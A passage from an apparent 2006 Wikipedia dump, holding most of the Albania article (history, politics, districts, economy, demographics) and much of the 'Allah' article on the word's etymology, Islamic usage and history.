|population_census_year = 
|population_density = 123
|population_densitymi² = 318.6 &lt;!--Do not remove--&gt;
|population_density_rank = 63
|GDP_PPP_year = 2003
|GDP_PPP = $15.7 billion
|GDP_PPP_rank = 112th
|GDP_PPP_per_capita = $4,900
|GDP_PPP_per_capita_rank = 105th
|HDI_year = 2003
|HDI = 0.780
|HDI_rank = 72nd
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; 
|sovereignty_type = [[Independence]]
|established_events =  
|established_dates = From [[Ottoman Empire]] &lt;br&gt;&amp;nbsp;[[November 28]], [[1912]]
|currency = [[Lek (currency)|Lek]]
|currency_code = ALL 
|country_code = al
|time_zone = [[Central European Time|CET]]
|utc_offset = +1
|time_zone_DST = [[Central European Summer Time|CEST]]
|utc_offset_DST = +2
|cctld = [[.al]]
|calling_code = 355
|footnotes = 
}}
''This article is about Albania, the country on the Adriatic coast of the Balkans.  For other historic uses, see [[Albania (disambiguation)]]. 

'''Albania''' ([[Albanian language|Albanian]]: ''Republika e Shqipërisë'', [[International Phonetic Alphabet|IPA]] {{IPA|[ɾɛpublika ɛ ʃciəpəɾisə]}}) is a [[Mediterranean]] country in southeastern [[Europe]]. It is bordered by [[Serbia and Montenegro]] in the north, the [[Republic of Macedonia]] in the east, and [[Greece]] in the south; it has a coast on the [[Adriatic Sea]] in the west, and a coast on the [[Ionian Sea]] in the southwest. The country is an emerging [[democracy]] and is formally named the '''Republic of Albania'''.

== History ==
''Main articles: [[Illyria]], [[Illyricum]], [[Dalmatia]], [[History of Albania]].''

The earlier inhabitants were probably part of the pre-Indo-European populace that occupied the coastline of most parts of the Mediterranean. Their physical remains are scarce though, and concentrated on the coastal region. Soon, these first inhabitants were overrun by the Proto-Hellenic tribes that gradually occupied modern-day Greece, southern parts of what is now the Former Yugoslav Republic of Macedonia and the south of present-day Albania. This process was completed over the second millennium BC and did not really affect northern or central Albania, an area that at the time presented the image of a political vacuum (in essence a historical paradox).

Historians do not agree over the origin of the [[Illyrians]]. Some of them maintain that the Illyrians descended from the pre-Indo-European [[Pelasgians]], while most scholars place them in the later wave of Indo-European invasions. Their presence can be traced back to 900 BC, when their political structure was formulated in the [[7th century BC|7th]] and [[6th century BC|6th]] centuries BC. Excellent metal craftsmen and fierce warriors, the Illyrians formed warlord based kingdoms that fought amongst themselves for most of their history. Only during the 6th century did the Illyrians venture significant raids against their immediate neighbours: the kingdom of the [[Molossians]] in southern Albania, the kingdom of [[Macedon]], and the kingdom of [[Paionia]].

Besides warfare, the [[Illyrians]] were also peaceful traders of agricultural products and metal works. The [[Illyrian]] culture was heavily influenced by the [[Ancient Greece|Greek]] culture (mainly the south Illyrian tribes). Albania is also the site of several ancient [[Ancient Greece|Greek]] colonies.

=== Macedonian Rule ===
Probably their most important success was the slaughter of [[Perdiccas III of Macedon|Perdiccas III]], king of Macedon. Unfortunately for the [[Illyrians]], [[Perdiccas]] was succeeded by [[Philip II of Macedon|Philip II]], father of [[Alexander the Great]], who effectively terminated the [[Illyrian]] aggression, effectively ending any dominant control by the [[Illyrians]] in the region.

=== Roman and Byzantine Rule ===
After being conquered by the [[Roman Empire]], [[Illyria]] was reorganized as a [[Roman]] province, [[Illyricum]], later divided into the provinces of [[Dalmatia]] and [[Pannonia]], the lands comprising Albania mostly being included in [[Dalmatia]]. Later, the [[Byzantine Empire]] governed the region. It was also ruled by the [[Bulgarian Empire|Bulgarian]] and [[Serbian Empire]]. After centuries, use of the name ''Illyria'' to denote the region fell out of fashion.

=== Ottoman Rule ===
In the middle ages, the name ''Albania'' (see ''[[Origin and history of the name Albania]]'') began to be increasingly applied to the region now comprising the nation of Albania. From [[1443]] to [[1468]] [[Skanderbeg|Gjergj Kastrioti Skenderbeu]] led a successful resistance against the invading [[Ottomans]]. After the death of [[Skenderbeg]], resistance continued until [[1478]], although with only moderate success. The loyalties and alliances created and nurtured by [[Skenderbeg]] faltered and fell apart, and the [[Ottomans]] conquered the territory of Albania shortly after the fall of the [[castle]] [[Kruje]]. '''Albania''' then became part of the [[Ottoman Empire]]. Following this, many Albanians fled to neighboring [[Italy]], and the majority of the '''Albanian''' population that remained converted to [[Islam]]. They would remain a part of the [[Ottoman Empire]] until [[1912]].

=== Effects of the Balkan Wars ===
After the [[Balkan Wars|Second Balkan War]], the [[Ottomans]] were removed from Albania and there was a possibility of the lands being absorbed by [[Serbia]], and the southern tip by [[Greece]]. This decision angered the [[Italians]] who did not want [[Serbia]] to have an extended coastline, and it angered the [[German people|Germans]] who could build a railway to reach the Orient. [[Berlin]] then held discussions with [[Russia]] (the superpower in charge of [[Serbia]]) and with [[Greece]]. Eventually, it was decided that the country should not be divided but instead consolidated into the [[Principality]] of Albania under a German [[prince]],[[William of Wied]]. When the German [[prince]] was expelled by the [[Albanian]] people after 6 months as the self named &quot;King of Albania&quot;, [[Great Britain]], [[France]], and [[Italy]], as members the [[League of Nations]], wanted to divide the territory once and for all. Intervention by [[United States of America]] [[president]] [[Woodrow Wilson]] vetoed the vote and allowed Albania to retain its status. From [[1928]], the country was ruled by [[Zog of Albania|King Zog I]] until [[1938]] when it became a puppet of [[Italy]].

=== World War II and Enver Hoxha Rule ===
Albanian communists and nationalists actively fought a partisan war against the Italian and German invasions in WW II.  Certain smaller organizations helped the foreign invaders, but it was the [[communists]] who took over after [[World War II]]. In November [[1944]] the communists gained control of the government under the leader of the resistance, [[Enver Hoxha]] . From [[1945]] until [[1990]] Albania had one of the most repressive governments in [[Europe]]. The [[communist party]] was created in [[1941]] with the help of [[Bolshevik]] [[Communist]] Parties. All those who opposed it were eliminated.

For the many decades under his domination, Hoxha created and destroyed relationships with Belgrade, Moscow, and China, always in his personal interests. The country was isolated, first from the West (Western Europe, North America and Australasia) and later even from the communist East.

=== The Fall of Communism and Democratic Albania ===

In 1985, Enver Hoxha died and [[Ramiz Alia]] took his place. Initially, Alia tried to follow in Hoxha's footsteps, but in Eastern Europe changes had already started: [[Mikhail Gorbachev]] had appeared in the [[Soviet Union]] with new policies ([[Glasnost]] and [[perestroika]]). The Albanian totalitarian regime was under pressure from the [[United States|US]], Europe, and the anger and despair of its own people. After [[Nicolae Ceauşescu]] (the communist leader of [[Romania]]) was executed in a revolution, Alia knew he would be next if changes were not made. He signed the [[Helsinki Agreement]] (which was signed by other countries in 1975) that respected some [[human rights]]. He also allowed [[pluralism]], and even though his party won the election of 1991 it was clear that the change would not be stopped. In [[1992]] the general elections were won by the Democratic Party with 62% of the votes.

In the general elections of June, [[1996]] the Democratic Party tried to win an absolute majority and manipulated the results. In [[1997]] an epidemic of [[pyramid schemes]] sent shockwaves through the entire country's economy, and riots started. Police stations and military bases were looted of millions of weaponry, [[Kalashnikov]]s. Anarchy prevailed, and many cities were controlled by militia and less-organized armed citizens. Even US military advisors left the country for their own safety. In response to the anarchy, the Socialist Party won the early elections of [[1997]].

However, stability was far from being restored in the years after the 1997 riots. The power feuds raging inside the Socialist Party led to a series of short-lived Socialist governments. The country was flooded with refugees from neighboring [[Kosovo]] in [[1998]] and [[1999]]. In June, 2002, a compromise candidate, Alfred Moisiu, a former general and defense minister, was elected to succeed President Meidani. Parliamentary elections in July, [[2005]], brought back to power Sali Berisha, Leader of the Democratic Party, mostly owing to Socialist infighting and a series of corruption scandals plaguing the Nano government.

Since 1990 Albania has been diplomatically oriented towards the West, it was accepted to the Council of Europe and has requested membership of [[NATO]]. The work-force of Albania has continued to emigrate to Greece, Italy, Europe and North America. Corruption in the government is becoming more and more obvious. Any hope for a short and not too painful transition after Communism has long since been dashed.

== Politics ==
''Main article:'' [[Politics of Albania]]

The head of state is the president, who is elected by the ''[[Kuvendi]]'', or the Assembly of the Republic of Albania every 5 years. The main part of the Assembly's 140 members is elected every 4 years. 100 of the parliament's members are chosen by the people with a direct vote, while the other 40 members are chosen using a proportional system. The head of government is the Prime Minister who is assisted by a council of ministers.  The Council of Ministers is selected by the Prime Minister (A process called &quot;forming the government&quot;) and then approved by a simple majority (71 votes) in the Assembly.

== Administrative divisions ==
''Main articles: [[Districts of Albania]] and [[Counties of Albania]]''

Albania is divided into 12 ''qark'' (county or prefecture), which are further divided into 36 ''rrethe'' (districts).  The capital city, Tiranë, has a special status. The districts are:

{|
|-
|
*&lt;small&gt;1&lt;/small&gt; [[Berat District|Berat]]
*&lt;small&gt;2&lt;/small&gt; [[Bulqizë District|Bulqizë]]
*&lt;small&gt;3&lt;/small&gt; [[Delvinë District|Delvinë]]
*&lt;small&gt;4&lt;/small&gt; [[Devoll District|Devoll]]
*&lt;small&gt;5&lt;/small&gt; [[Dibër District|Dibër]]
*&lt;small&gt;6&lt;/small&gt; [[Durrës District|Durrës]]
*&lt;small&gt;7&lt;/small&gt; [[Elbasan District|Elbasan]]
*&lt;small&gt;8&lt;/small&gt; [[Fier District|Fier]]
*&lt;small&gt;9&lt;/small&gt; [[Gjirokastër District|Gjirokastër]]
*&lt;small&gt;10&lt;/small&gt; [[Gramsh District|Gramsh]]
*&lt;small&gt;11&lt;/small&gt; [[Has District|Has]]
*&lt;small&gt;12&lt;/small&gt; [[Kavajë District|Kavajë]]
|
*&lt;small&gt;13&lt;/small&gt; [[Kolonjë District|Kolonjë]]
*&lt;small&gt;14&lt;/small&gt; [[Korçë District|Korçë]]
*&lt;small&gt;15&lt;/small&gt; [[Krujë District|Krujë]]
*&lt;small&gt;16&lt;/small&gt; [[Kuçovë District|Kuçovë]]
*&lt;small&gt;17&lt;/small&gt; [[Kukës District|Kukës]]
*&lt;small&gt;18&lt;/small&gt; [[Kurbin District|Kurbin]]
*&lt;small&gt;19&lt;/small&gt; [[Lezhë District|Lezhë]]
*&lt;small&gt;20&lt;/small&gt; [[Librazhd District|Librazhd]]
*&lt;small&gt;21&lt;/small&gt; [[Lushnjë District|Lushnjë]]
*&lt;small&gt;22&lt;/small&gt; [[Malësi e Madhe District|Malësi e Madhe]]
*&lt;small&gt;23&lt;/small&gt; [[Mallakastër District|Mallakastër]]
*&lt;small&gt;24&lt;/small&gt; [[Mat District|Mat]]
|
*&lt;small&gt;25&lt;/small&gt; [[Mirditë District|Mirditë]]
*&lt;small&gt;26&lt;/small&gt; [[Peqin District|Peqin]]
*&lt;small&gt;27&lt;/small&gt; [[Përmet District|Përmet]]
*&lt;small&gt;28&lt;/small&gt; [[Pogradec District|Pogradec]]
*&lt;small&gt;29&lt;/small&gt; [[Pukë District|Pukë]]
*&lt;small&gt;30&lt;/small&gt; [[Sarandë District|Sarandë]]
*&lt;small&gt;31&lt;/small&gt; [[Shkodër District|Shkodër]]
*&lt;small&gt;32&lt;/small&gt; [[Skrapar District|Skrapar]]
*&lt;small&gt;33&lt;/small&gt; [[Tepelenë District|Tepelenë]]
*&lt;small&gt;34&lt;/small&gt; [[Tiranë District|Tiranë]]
*&lt;small&gt;35&lt;/small&gt; [[Tropojë District|Tropojë]]
*&lt;small&gt;36&lt;/small&gt; [[Vlorë District|Vlorë]]
|
[[Image:AlbaniaNumberedDistricts.png|150px|right|Districts of Albania]]
|}

See also: [[List of cities in Albania]] (''Note: some cities have the same name as the district they are in'').

== Geography ==
''Main article: [[Geography of Albania]]''

[[Image:Albania map.png|frame|Map of Albania]]

Albania consists of mostly [[hill]]y and [[mountain]]ous terrain, the highest mountain, Korab in the district of Dibra reaching up to 2,753 metres (9,032&amp;nbsp;[[foot (unit of length)|ft]]). The country mostly has a continental [[climate]], with cold [[winter]]s and hot [[summer]]s.

Besides capital city [[Tirana]], with 800,000 inhabitants, the principal cities are [[Durrës]], [[Elbasan]], [[Shkodër]], [[Gjirokastër]], [[Vlorë]] and [[Korçë]]. In Albanian grammar a word can have indefinite and definite forms, and this also applies to city names: so both Tiranë and Tirana, Shkodër and Shkodra are used.

== Economy ==
''Main article: [[Economy of Albania]]''

In Albania, half of the economically-active population still engaged in [[agriculture]] and a fifth works abroad.

The country has almost no exports, and imports most if its goods from Greece and Italy. Money for imports comes from financial aid and from the money that [[immigrant]]s working abroad - mostly in neighbouring Greece - bring to Albania. This is a good [[status quo]] business for both Greece and Italy. 

Albania's coastline on the Ionian Sea, near the Greek tourist island of [[Corfu]], is becoming increasingly popular with foreign visitors due to its relatively unspoilt nature and good beaches. However, the tourist industry is still in its infancy.

Growth was strong 2003-05 and inflation is not a problem.

GDP(purchasing power parity): 18.05 billion
Note: Albania has a large gray economy that may be as large as 50% of official GDP. (2005 est.)

GDP (official exchange rate): 8.741 billion (2005 est.)

GDP (real growth rate): 6% (2005 est.)  

GDP- composition by sector: 
agriculture: 23.6%
industry: 20.5%
services: 55.9%  (2005 est.)

Exports: 708 million f.o.b. (2005 est.)

Imports: 2.473 billion f.o.b. (2005 est.)

Aid per Capita:  52 US$ 

External Debt:  1.41 billion (2003 est.) 

Defence Expenditure:  (n/a)  

Children in Labour Force:  1 % of children aged 10-14 work

== Demographics ==
''Main article: [[Demographics of Albania]]''

Most of the population is ethnically Albanian (95% according to the [[CIA World Factbook]] Feb 2005), there is a [[Greece|Greek]] minority (3% of the population), this however could significally vary according to other sources, (note: in 1989, other estimates of the Greek population ranged from 1% (official Albanian statistics) to 12% (from a Greek organization) [http://www.cia.gov/cia/publications/factbook/geos/al.html#People]). Many ethnic Albanians also live in the bordering countries of [[Serbia and Montenegro]] (around 1,850,000; of that, around 1,800,000 in [[Serbia]] (around 1,700,000 in its province called [[Kosovo]] (officially [[Kosovo and Metohia]]) only) and around 50,000 in [[Montenegro]]) and the [[Republic of Macedonia]] (around 500,000) although a lot of Albanians believe that the number might be higher.  Also a small number of ethnic Albanians live in Greece which are called Çam.  Claims over Çam numbers have ranged from 90,000 to over one 1,000,000 but are believed to be understated because Athens has not considered the local Albanians to be a separate ethnic group.[http://www.frosina.org]  Since [[1991]], large numbers of Albanians have emigrated, both legally and illegally, to [[Greece]] and [[Italy]].

The language is [[Albanian language|Albanian]], although [[Greek language|Greek]] is also spoken by the Greek minority in the southern regions of the country.

At the height of the Ottoman occupation, the majority of [[Albanians]] were mostly [[Muslim]] (70%), even though religion was prohibited during the communist era. The Albanian government proclaimed Albania the only officially atheistic country in the world. After the fall of the Communist Regime in 1989-1990 religions were reinstated. According to 1939 statistics, the [[Albanian Orthodox Church|Albanian Orthodox]] (20%) and [[Roman Catholic Church]] (10%) would be the other main religions in Albania. Religious fanaticism has never been a serious problem, with people from different religions living in peace and even getting married although this was not considered to be an optimal solution.  20% of the total Muslim population is [[Bektashi]], people who follow a faith originating in the Turkish migrations into Turkey, and came to Albania through the Ottoman [[Janissary|Janissaries]]. It has outwardly Shi'ite Islamic elements, but is really a Shamanic-Pantheistic faith.

== Culture ==
''Main article: [[Culture of Albania]]''
*[[Albanian Literature]]
*[[Cuisine of Albania]]
*[[Music of Albania]]
*[[Sport in Albania]]
*[[Radio Televizioni Shqiptar]]
*[[Top-Channel|Top-Channel TV]] 

== Miscellaneous topics ==
*[[List of Albania-related articles]]
*[[List of Albanians]]
*[[Islam in Albania]]
*[[Albanian mythology]]
*[[Beslidhja Skaut Albania]]
*[[List of sovereign states]]
*[[Communications in Albania]]
*[[Education in Albania]]
*[[Foreign relations of Albania]]
*[[Military of Albania]]
*[[Transportation in Albania]]
*[[Public holidays in Albania]]
*[[List of Albanian-Americans]]
*[[Arbëreshë|Albanians in Italy]]
*[[Butrint National Park]]
*[[The Jewish Community of Albania]]
*[[Albanian-Actors]]

== External links ==
{{sisterlinks|Albania}}
*[http://www.vlora.it/ News and Fun from Albania] Albanian Language
*[http://www.fotw.us/flags/al-index.html#pol List of Abanian flags] throughout history
*[http://www.balkanforums.com Albania and the Balkans] Discussion Forum
*[http://www.geocities.com/protoillyrian Albanian Etymological Dictionary]
*[http://www.cia.gov/cia/publications/factbook/geos/al.html CIA - The World Factbook -- Albania] - [[CIA]]'s Factbook on Albania
*[http://www.albanian.com/community/index.php General information on Albanians]
*[http://www.gksoft.com/govt/en/al.html More links of the Albanian government]
*[http://www.albaniafoto.com/en/ Albania Pictures]
*[http://www.albeu.com An Albanian news portal] (in Albanian)
*[http://www.opic.gov/links/countryInfo.asp?country=Albania&amp;region=euro OPIC Guide on Albania]
*[http://www.travelconsumer.com/countries/albania.htm Travel guide to Albania]
*[http://hotelkalemi.tripod.com Guide to Gjirokaster]
*[http://www.freeworldmaps.net/europe/albania/map.html Map of Albania]
*[http://vlib.iue.it/history/europe/albania.html WWW-VL: History: Albania]

===Official government websites===
*[http://www.albca.com/aclis Albanian Canadian League Information Service - ACLIS] ([[Albanian language|Albanian]] and [[English language|English]])
*[http://www.tanmarket.com/php TanPortal Albanian Social Economic] ([[Albanian language|Albanian]])
*[http://www.albca.com Albanian Canadian League - ACL] ([[Albanian language|Albanian]] and [[English language|English]])
*[http://www.km.gov.al/english/default.asp Department of Information] ([[Albanian language|Albanian]] and [[English language|English]])
*[http://www.parlament.al The Albanian Parliament] ([[Albanian language|Albanian]], [[English language|English]] and [[French language|French]])
*[http://www.president.al Presidency of Albania] ([[Albanian language|Albanian]] and [[English language|English]])
*[http://www.instat.gov.al Albanian Institute of Statistics] ([[Albanian language|Albanian]] and [[English language|English]])

{{Europe}}

[[Category:Albania| ]]

[[af:Albanië]]
[[als:Albanien]]
[[ang:Albania]]
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[[hy:Ալբանիա]]
[[hi:अल्बानिया]]
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[[he:אלבניה]]
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[[kw:Albani]]
[[ku:Elbanya]]
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[[lv:Albānija]]
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[[lb:Albanien]]
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[[ja:アルバニア]]
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[[th:ประเทศแอลเบเนีย]]
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[[fiu-vro:Albaania]]</text>
    </revision>
  </page>
  <page>
    <title>Allah</title>
    <id>740</id>
    <revision>
      <id>42136152</id>
      <timestamp>2006-03-04T01:35:06Z</timestamp>
      <contributor>
        <username>Jossi</username>
        <id>60449</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.122.164.153|71.122.164.153]] ([[User talk:71.122.164.153|talk]]) to last version by El C</comment>
      <text xml:space="preserve">{{Islam}}
:''For a king of [[Anglo-Saxon]] England, see [[Aella of Deira]] or [[Aelle II of Northumbria]]  or [[Aelle of Sussex]].''
:''Men's names &lt;u&gt;Allah-ed-din&lt;/u&gt; and similar are misspellings for [[Ala-ud-din]]; and see [[Arabic name#Mistakes made by Europeans and other non-Arabs|here]] for other sorts of error.''
The word '''{{ArabDIN|Allāh}}''' is the [[Arabic language|Arabic]] term for &quot;[[God]]&quot;. In other languages, it is often used to refer specifically to the [[Islamic concept of God]]: see &quot;[[#Usage|Usage]]&quot; below.

==Etymology==
===Usage===
{{Arabicterm|الله|Allah, Allāh|The God}}
Although, outside the Arab world, use of the word ''Allāh'' is most often associated with [[Islam]], it is not exclusive to that faith; [[Arab Christians]] and various Arabic-speaking [[Jew]]s (including the [[Teimanim]], several {{ArabDIN|[[Mizrahi Jews|Mizraḥi]]}} communities and some [[Sephardim]]) also use it to refer to the [[monotheist]] [[deity]]. Arabic translations of the [[Bible]] also employ it, as do [[Roman Catholic Church|Roman Catholics]] in [[Malta]] (who pronounce it as &quot;Alla&quot;), [[Christians]] in [[Indonesia]], who say &quot;Allah Bapa&quot; (God the Father) and Christians in the [[Middle East]] who use the [[Aramaic language|Aramaic]] &quot;Allāha&quot;.

===&quot;Allah&quot; as a word===
Many [[Linguistics|linguists]] believe that the term ''Allāh'' is derived from a contraction of the Arabic words ''al'' (the) and ''ʾilāh'' (deity, masculine form) - ''al-ilāh'' meaning &quot;the god.&quot; In addition, one of the main pagan goddesses of pre-Islamic Arabia, [[Allat|Allāt]] (''al'' + ''ʾilāh'' + ''at'', or 'the goddess'), is cited as being [[Etymology|etymologically]] (though not synchronically) the feminine linguistic counterpart to the grammatically masculine Allāh. If so, the word ''Allāh'' is an abbreviated title, meaning 'the deity', rather than a name. For this reason, both Muslim and non-Muslim scholars often translate Allāh directly into [[English language|English]] as 'God'; this also explains why Arabic-speaking Jews and Christians freely refer to God as Allāh. However, some Muslim scholars feel that &quot;Allāh&quot; should not be translated, because they perceived the Arabic word to express the uniqueness of &quot;Allāh&quot; more accurately than the word &quot;god&quot;, which can take a plural &quot;gods&quot;, whereas the word &quot;Allāh&quot; has no plural form.  This is a significant issue in [[translation of the Qur'an]]. 
[[Image:Allah.jpg|thumb|right|200px|An example of ''{{ArabDIN|allāh}}'' written in simple [[Arabic calligraphy]].]] 

The word ''Allāh'' is always written without an [[alif]] to spell the ''ā'' vowel. This is because the spelling was settled before Arabic spelling started habitually using [[alif]] to spell ''ā''. However, in vocalized spelling, a diacritic ''alif'' is added on top of the ''[[shadda|shaddah]]'' to indicate pronunciation. One exception is in the pre-Islamic [[History of the Arabic alphabet#Pre-Islamic Arabic inscriptions|Zabad inscription]], where it is spelled الاه.

[[Unicode]] has  glyph reserved for Allah,  {{ar|ﷲ}} = U+FDF2, which can be combined with an alif to yield the post-consonantal form, {{ar|اﷲ}}, as opposed to the full spelling ''alif-lām-lām-hā'' {{ar|الله}} which may be rendered slightly differently, in particular featuring a diacritic ''alif'' on top of the ''shadda''. In this, Unicode imitates traditional Arabic typesetting, which also frequently featured special ''llāh'' types.

Also In ''[[Abjad numerals]]'', [[The Name Of Allah (&amp;#1575;&amp;#1604;&amp;#1604;&amp;#1607;) ]] numeric value is [[66]].

==Islamic use of &quot;Allāh&quot;== 
From the point of view of traditional [[Islam]]ic [[theology]], Allāh is the most precious name of God because it is not a descriptive name like other [[Ninety-nine names of Allah|ninety-nine names of God]], but the name of God's own presence.  Muslims believe that the name of Allah had existed before the time of [[Adam and Eve|Adam]]. It is the same God worshipped by [[Adam and Eve|Adam]], [[Noah]], [[Abraham]], [[Moses]], [[Jesus]], [[Muhammad]] and other [[prophets of Islam]]. In Islam, there is only one God and Muhammad is the last messenger.  

The emphasis in Islamic culture on reciting the [[Qur'an]] in [[Arabic language|Arabic]] has resulted in ''Allāh'' often being used by [[Muslim]]s world-wide as the word for ''God'', regardless of their [[native language]]. Out of 114 [[Sura]]s in the [[Qur'an]], 113 begin with the [[Basmala]] (&quot;Bismi 'llāhi 'r-rahmāni 'r-rahīm&quot; بسم الله الرحمن الرحيم) which means &quot;In the name of God, the most kind, the most merciful&quot;. 
[[Muslim]]s, when referring to the name, often add the words &quot;Subhanahu wa Ta`ala&quot; after it, meaning &quot;Glorified and Exalted is He&quot; as a sign of reverence, or &quot;`Azza wa Jalla&quot; (عز و جل). The entire religion of [[Islam]] is based on the idea of getting closer to God. Although commonly referred to as a &quot;He&quot;, God is considered genderless, but there is no [[neuter gender]] to express this in the Arabic language. When Greek or other [[Polytheism|polytheistic]] deities are discussed in Arabic, it is customary to use the expression ''ilāh'', a &quot;deity&quot; or lower-case &quot;god&quot;; sometimes the word ''ma`būd'', literally meaning &quot;worshipped [entity]&quot;, is used instead.

===Uses of &quot;Allāh&quot; in phrases===
There are many [[List of Arabic phrases#Phrases with Allah's name|phrases]] that contain the word Allāh:
*[[Allahu Akbar|Allāhu Akbar]] (الله أكبر) (God is the greatest)
*[[A'uzu billahi minashaitanir rajim]] (I seek refuge in Allah from Shaitan, the damned)
*[[Basmala|Bismi-llāh]] (بسم الله) (In the name of God)
*[[Insha'Allah|Inshā'Allāh]] (إن شاء الله) (God-willing)
:also the origin of the common [[Spanish language|Spanish]] [[interjection]] &quot;Ojalá&quot;, which shares a similar meaning.
:probably also the origin of the [[Portuguese (language)|Portuguese]] interjection ''Oxalá'', &quot;let's hope for it&quot; or &quot;let's hope that...&quot;.
*[[Yā Allāh]] (يا الله)(Oh God)
:may be the origin of the Spanish and Portuguese [[exclamation]] &quot;Olé!&quot;.
*[[Masha Allah|Mā shā' Allāh]] (ما شاء الله) ([Look at] what God has willed!)
*[[Subhan'allah|Subhān Allāh]] (سبحان الله) (Glory be to God)
*[[alhamdulillah|al-Hamdu li-llāh]] (الحمد لله) (All praise be to God)
*[[Allāhu A`alam]] (الله أعلم) (God knows best)
*[[Jazaka Allāhu khayran]] (جزاك الله خيراً) (May God reward you for your deeds)

&quot;Allāh&quot; appears in a stylized form on the [[flag of Iran]], in the phrase &quot;Allāhu Akbar&quot; on the [[flag of Iraq]], and as part of the [[shahadah|shahādah]] on the [[flag of Saudi Arabia]].

&quot;Allah&quot; is not correctly used as a man's name. See [[Arabic name#Mistakes made by Europeans and other non-Arabs]].

==Islamic concept of God==
{{main|Islamic concept of God}} 

The Islamic concept of mankind's place in the universe hinges on the notion that '''[[Allāh]]''', or '''[[God]]''', is the only true [[reality]]. There is nothing permanent other than Him. God is considered eternal and &quot;uncreated&quot;, whereas everything else in the universe is &quot;created.&quot; The Qur'an describes Him in [[Sura 112]]: &quot;Say: He is Allāh, [[Singular]]. Allāh, the Absolute. He begetteth not nor was begotten. And to Him have never been one equal.&quot; (see [[Tawhid]] for more). The Qur'an condemns and mocks the pre-Islamic Arabs for attributing daughters to Allāh ([[sura 53]]:19.)

Muslims believe that Allāh, or [[God]], is the only true God who deserves to be worshipped. This belief must be accompanied by the acknowledgement that Mohammad was a true prophet of God who was chosen to guide people to believing and worshipping God in the correct manner. God is considered eternal and uncreated; with no beginning, whereas everything else in the universe is created with a beginning. The Qur'an mentions, (approximated in English)  [[Sura 112]]: &quot;Say: He is Allāh, Without partner. Allāh, the Absolute. He begetteth not nor was begotten. And to Him have never been one equal.&quot; (see [[Tawhid]] for more). 

God is considered by Muslims to be [[Omnipotence|omnipotent]], [[Omnipresence|omnipresent]], and [[Omniscience|omniscient]]. In the Qur'an, God is described as being fully aware of everything that happens in the universe, and knows all things. God also knows what is in people's hearts and minds at all times. It is mentioned in the Qur'an (approximately), &quot;And He it is Who takes your souls at night (in sleep), and He knows what you acquire in the day, then He raises you up therein that an appointed term may be fulfilled; then to Him is your return, then He will inform you of what you were doing. ([[sura 6]]:60)&quot; 

Placing  God inside his creation, or suggesting that nature or creation simultaneously co-exist in God or vice versa, as in other religious traditions, completely compromises exclusive Islamic monotheism. Attributing a partner, spouse, father, son, daughter, mother or other relation(s) to Allah, literally or metaphorically, partially or completely, is considered unquestionably blasphemous by Muslims.

Therefore, Muslims consider it blasphemous to describe Jesus (or another man, woman child etc) as 'Son of God' whether literally or metaphorically. Similarly, Muslims do not believe that God resembles a man (old or young), woman, half man half woman, half man half animal , bird, elephant or other animal or other creation. It is forbidden for Muslims to view God [[anthropomorphism|anthropomorphically]].

Allah does not resemble any of his creations in any way whatsoever. Allah is not attributed with shape, colour, size, position, location, direction and indeed all of these attributes are found in the creatures Allah created.

Further, Muslims do not believe that Allah is located in a place, whether on Earth, below the Earth, in the Sky, above the Sky, on a Throne above the Sky or all of these places at once or anywhere else or everywhere, but rather, God exists without a place (given he created all places and locations) and the perfectness of his existence is not compromised by his existence not being bound to a created (by Allah) place or location.

God is attributed with complete perfection in his attributes and is free from any defects or any imperfections. Allah is attributed (amongst other attributes) with oneness (without a partner in God's self or attributes), non-beginningness, eternalness, complete freedom from needing others (i.e. each or any of his creations), complete power to do all things, Will (to do as he wills, as and when God decides without any obstruction), knowledge, (of all things simultaneously, past, present and future) hearing (of all sounds without needing any implement or organ to hear), sight (without needing eyes or any other organ or instrument nor light rays to illuminate an area or an object), life (unlike the human or other life which is created and limited, but that which befits him with no beginning or end), speech (unlike the human, created speech which is constituted of languages, letters and sounds but rather an eternal speech which is not a creation but an attribute of God) and the complete non-resemblence of any creation in his self or attributes.

==History==
It was used in pre-Islamic times by Pagans within the Arabian peninsula to signify the supreme creator. Pre-Islamic  Jews referred to their supreme creator as [[Yahweh]] or [[Elohim]].  The pagan Arabs recognized &quot;Allāh&quot; as the supreme God in their [[Pre-Islamic mythology|pantheon]]; along with Allah, however, the pre-Islamic Arabs believed in a host of other gods, such as [[Hubal]] and 'daughters of Allāh' (the three daughters associated were [[Al-lat|al-Lāt]], [[Al-Uzza|al-`Uzzah]], and [[Manah]]) (Encyclopedia of World Mythology and Legend, ''&quot;The Facts on File&quot;'', ed. Anthony Mercatante, [[New York]], [[1983]], I:61). This view of Allah by the pre-Islamic pagans is viewed by Muslims as a latter development having arisen as a result of moving away from Abrahamic monotheism over time. Some of the names of these pagan gods are said to be derived from the descendants of Noah, whom latter generations firstly revered as saints, and then transformed into gods (although non-Muslims often view polytheism as having come before monotheism). The pagan Arabians also used the word &quot;Allāh&quot; in the names of their children; [[Muhammad]]'s father, who was born into pagan society, was named &quot;`Abdullāh&quot;, which translates &quot;servant of Allāh&quot;. &quot;`Abdullāh&quot; is still used for names of Muslim and non-Muslim arabs.

The [[Hebrew language|Hebrew]] word for deity, [[Names of God in Judaism#El|El]] (אל) or [[Names of God in Judaism#Elohim|Elōah]] (אלוה), was used as an [[Old Testament]] synonym for [[Yahweh]] (יהוה), which is the proper name for the Jewish God according to the [[Tanakh]]. The [[Aramaic]] word for God is ''alôh-ô'' ([[Syriac]] dialect) or elâhâ (Biblical dialect), which comes from the same Proto-[[Semitic languages|Semitic]] word (''*ʾilâh-'') as the Arabic and Hebrew terms; [[Jesus]] is described in [[Gospel of Mark|Mark]] 15:34 as having used the word on the cross, with the ending meaning &quot;my&quot;, when saying, &quot;My God, my God, why hast thou forsaken me?&quot; (transliterated in Greek as ''elō-i'').  One of the earliest surviving translations of the word into a foreign language is in a [[Greek language|Greek]] translation of the [[Shahada]], from 86-96 AH ([[705]]-[[715]] AD), which translates it as ''ho theos monos''[http://www.islamic-awareness.org/History/Islam/Papyri/enlp1.html], literally &quot;the one god&quot;. Also the cognate Aramaic term appears in the Aramaic version of the ''New Testament'', called the [[Pshitta]] (or Peshitta) as one of the words Jesus used to refer to God, e.g., in the sixth Beatitude, &quot;Blessed are the pure in heart for they shall see Alāha.&quot; And in the Arabic Bible the same words ([[Matthew 5:8|Mt 5:8]]): &quot;طُوبَى لأَنْقِيَاءِ الْقَلْبِ، فَإِنَّهُمْ سَيَرَوْنَ الله&quot;

==Other beliefs==
